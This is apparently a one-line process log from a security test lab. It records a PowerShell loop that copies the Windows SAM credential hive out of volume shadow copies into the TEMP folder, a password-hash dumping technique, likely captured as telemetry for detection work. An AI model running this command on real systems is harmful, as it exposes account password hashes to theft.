ar-win-2.attackrange.local Administrator "powershell.exe" &amp; {1..10 | % { 
 try { [System.IO.File]::Copy(\""\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$_\Windows\System32\config\SAM\"" , \""$env:TEMP\SAMvss$_\"", \""true\"") } catch {}
 ls \""$env:TEMP\SAMvss$_\"" -ErrorAction Ignore
}} HOSTNAME.EXE "C:\Windows\system32\HOSTNAME.EXE"